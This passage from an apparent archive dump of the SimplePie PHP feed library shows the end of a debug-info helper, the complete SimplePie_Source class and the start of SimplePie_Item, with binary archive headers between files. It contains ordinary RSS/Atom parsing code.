} $info .= "Extensions:\n"; $extensions = array('pcre', 'curl', 'zlib', 'mbstring', 'iconv', 'xmlreader', 'xml'); foreach ($extensions as $ext) { if (extension_loaded($ext)) { $info .= " $ext loaded\n"; switch ($ext) { case 'pcre': $info .= ' Version ' . PCRE_VERSION . "\n"; break; case 'curl': $version = curl_version(); $info .= ' Version ' . $version['version'] . "\n"; break; case 'mbstring': $info .= ' Overloading: ' . mb_get_info('func_overload') . "\n"; break; case 'iconv': $info .= ' Version ' . ICONV_VERSION . "\n"; break; case 'xml': $info .= ' Version ' . LIBXML_DOTTED_VERSION . "\n"; break; } } else { $info .= " $ext not loaded\n"; } } return $info; } public static function silence_errors($num, $str) { // No-op } } PKÜ�\���H)P)P7vendor/simplepie/simplepie/library/SimplePie/Source.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Handles `<atom:source>` * * Used by {@see SimplePie_Item::get_source()} * * This class can be overloaded with {@see SimplePie::set_source_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Source { var $item; var $data = array(); protected $registry; public function __construct($item, $data) { $this->item = $item; $this->data = $data; } public function set_registry(SimplePie_Registry $registry) { $this->registry = $registry; } public function __toString() { return md5(serialize($this->data)); } public function get_source_tags($namespace, $tag) { if (isset($this->data['child'][$namespace][$tag])) { return $this->data['child'][$namespace][$tag]; } else { return null; } } public function get_base($element = array()) { return $this->item->get_base($element); } public function sanitize($data, $type, $base = '') { return $this->item->sanitize($data, $type, $base); } public function get_item() { return $this->item; } public function get_title() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { return null; } } public function get_category($key = 0) { $categories = $this->get_categories(); if (isset($categories[$key])) { return $categories[$key]; } else { return null; } } public function get_categories() { $categories = array(); foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category) { $term = null; $scheme = null; $label = null; if (isset($category['attribs']['']['term'])) { $term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', array($term, $scheme, $label)); } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'category') as $category) { // This is really the label, but keep this as the term also for BC. // Label will also work on retrieving because that falls back to term. $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); if (isset($category['attribs']['']['domain'])) { $scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = null; } $categories[] = $this->registry->create('Category', array($term, $scheme, null)); } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category) { $categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category) { $categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } if (!empty($categories)) { return array_unique($categories); } else { return null; } } public function get_author($key = 0) { $authors = $this->get_authors(); if (isset($authors[$key])) { return $authors[$key]; } else { return null; } } public function get_authors() { $authors = array(); foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author) { $name = null; $uri = null; $email = null; if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); } if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $authors[] = $this->registry->create('Author', array($name, $uri, $email)); } } if ($author = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author')) { $name = null; $url = null; $email = null; if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); } if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $authors[] = $this->registry->create('Author', array($name, $url, $email)); } } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } if (!empty($authors)) { return array_unique($authors); } else { return null; } } public function get_contributor($key = 0) { $contributors = $this->get_contributors(); if (isset($contributors[$key])) { return $contributors[$key]; } else { return null; } } public function get_contributors() { $contributors = array(); foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor) { $name = null; $uri = null; $email = null; if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $contributors[] = $this->registry->create('Author', array($name, $uri, $email)); } } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor) { $name = null; $url = null; $email = null; if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $contributors[] = $this->registry->create('Author', array($name, $url, $email)); } } if (!empty($contributors)) { return array_unique($contributors); } else { return null; } } public function get_link($key = 0, $rel = 'alternate') { $links = $this->get_links($rel); if (isset($links[$key])) { return $links[$key]; } else { return null; } } /** * Added for parity between the parent-level and the item/entry-level. */ public function get_permalink() { return $this->get_link(0); } public function get_links($rel = 'alternate') { if (!isset($this->data['links'])) { $this->data['links'] = array(); if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link')) { foreach ($links as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); } } } if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link')) { foreach ($links as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); } } } if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } $keys = array_keys($this->data['links']); foreach ($keys as $key) { if ($this->registry->call('Misc', 'is_isegment_nz_nc', array($key))) { if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key])) { $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]); $this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]; } else { $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key]; } } elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY) { $this->data['links'][substr($key, 41)] =& $this->data['links'][$key]; } $this->data['links'][$key] = array_unique($this->data['links'][$key]); } } if (isset($this->data['links'][$rel])) { return $this->data['links'][$rel]; } else { return null; } } public function get_description() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'subtitle')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'tagline')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); } else { return null; } } public function get_copyright() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'copyright')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'copyright')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { return null; } } public function get_language() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'language')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'language')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'language')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (isset($this->data['xml_lang'])) { return $this->sanitize($this->data['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT); } else { return null; } } public function get_latitude() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat')) { return (float) $return[0]['data']; } elseif (($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[1]; } else { return null; } } public function get_longitude() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long')) { return (float) $return[0]['data']; } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon')) { return (float) $return[0]['data']; } elseif (($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[2]; } else { return null; } } public function get_image_url() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'image')) { return $this->sanitize($return[0]['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'logo')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } else { return null; } } } PKÜ�\u�8>��5vendor/simplepie/simplepie/library/SimplePie/Item.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Manages all item-related data * * Used by {@see SimplePie::get_item()} and {@see SimplePie::get_items()} * * This class can be overloaded with {@see SimplePie::set_item_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Item { /** * Parent feed * * @access private * @var SimplePie */ var $feed; /** * Raw data * * @access private * @var array */ var $data = array(); /** * Registry object * * @see set_registry * @var SimplePie_Registry */ protected $registry; /** * Create a new item object * * This is usually used by {@see SimplePie::get_items} and * {@see SimplePie::get_item}. Avoid creating this manually. * * @param SimplePie $feed Parent feed * @param array $data Raw data */ public function __construct($feed, $data) { $this->feed = $feed; $this->data = $data; } /** * Set the registry handler * * This is usually used by {@see SimplePie_Registry::create} * * @since 1.3 * @param SimplePie_Registry $registry */ public function set_registry(SimplePie_Registry $registry) { $this->registry = $registry; } /** * Get a string representation of the item * * @return string */ public function __toString() { return md5(serialize($this->data)); } /** * Remove items that link back to this before destroying this object */ public function __destruct() { if ((version_compare(PHP_VERSION, '5.3', '<') || !gc_enabled()) && !ini_get('zend.ze1_compatibility_mode')) { unset($this->feed); } } /** * Get data for an item-level element * * This method allows you to get access to ANY element/attribute that is a * sub-element of the item/entry tag. * * See {@see SimplePie::get_feed_tags()} for a description of the return value * * @since 1.0 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces * @param string $namespace The URL of the XML namespace of the elements you're trying to access * @param string $tag Tag name * @return array */ public function get_item_tags($namespace, $tag) { if (isset($this->data['child'][$namespace][$tag])) { return $this->data['child'][$namespace][$tag]; } else { return null; } } /** * Get the base URL value from the parent feed * * Uses `<xml:base>` * * @param array $element * @return string */ public function get_base($element = array()) { return $this->feed->get_base($element); } /** * Sanitize feed data * * @access private * @see SimplePie::sanitize() * @param string $data Data to sanitize * @param int $type One of the SIMPLEPIE_CONSTRUCT_* constants * @param string $base Base URL to resolve URLs against * @return string Sanitized data */ public function sanitize($data, $type, $base = '') { return $this->feed->sanitize($data, $type, $base); } /** * Get the parent feed * * Note: this may not work as you think for multifeeds! * * @link http://simplepie.org/faq/typical_multifeed_gotchas#missing_data_from_feed * @since 1.0 * @return SimplePie */ public function get_feed() { return $this->feed; } /** * Get the unique identifier for the item * * This is usually used when writing code to check for new items in a feed. * * Uses `<atom:id>`, `<guid>`, `<dc:identifier>` or the `about` attribute * for RDF. If none of these are supplied (or `$hash` is true), creates an * MD5 hash based on the permalink and title. If either of those are not * supplied, creates a hash based on the full feed data. * * @since Beta 2 * @param boolean $hash Should we force using a hash instead of the supplied ID? * @return string */ public function get_id($hash = false) { if (!$hash) { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'id')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'id')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'guid')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'identifier')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'identifier')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (isset($this->data['attribs'][SIMPLEPIE_NAMESPACE_RDF]['about'])) { return $this->sanitize($this->data['attribs'][SIMPLEPIE_NAMESPACE_RDF]['about'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (($return = $this->get_permalink()) !== null) { return $return; } elseif (($return = $this->get_title()) !== null) { return $return; } } if ($this->get_permalink() !== null || $this->get_title() !== null) { return md5($this->get_permalink() . $this->get_title()); } else { return md5(serialize($this->data)); } } /** * Get the title of the item * * Uses `<atom:title>`, `<title>` or `<dc:title>` * * @since Beta 2 (previously called `get_item_title` since 0.8) * @return string|null */ public function get_title() { if (!isset($this->data['title'])) { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $this->data['title'] = null; } } return $this->data['title']; } /** * Get the content for the item * * Prefers summaries over full content , but will return full content if a * summary does not exist. * * To prefer full content instead, use {@see get_content} * * Uses `<atom:summary>`, `<description>`, `<dc:description>` or * `<itunes:subtitle>` * * @since 0.8 * @param boolean $description_only Should we avoid falling back to the content? * @return string|null */ public function get_description($description_only = false) { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'summary')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'summary')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML); } elseif (!$description_only) { return $this->get_content(true); } else { return null; } } /** * Get the content for the item * * Prefers full content over summaries, but will return a summary if full * content does not exist. * * To prefer 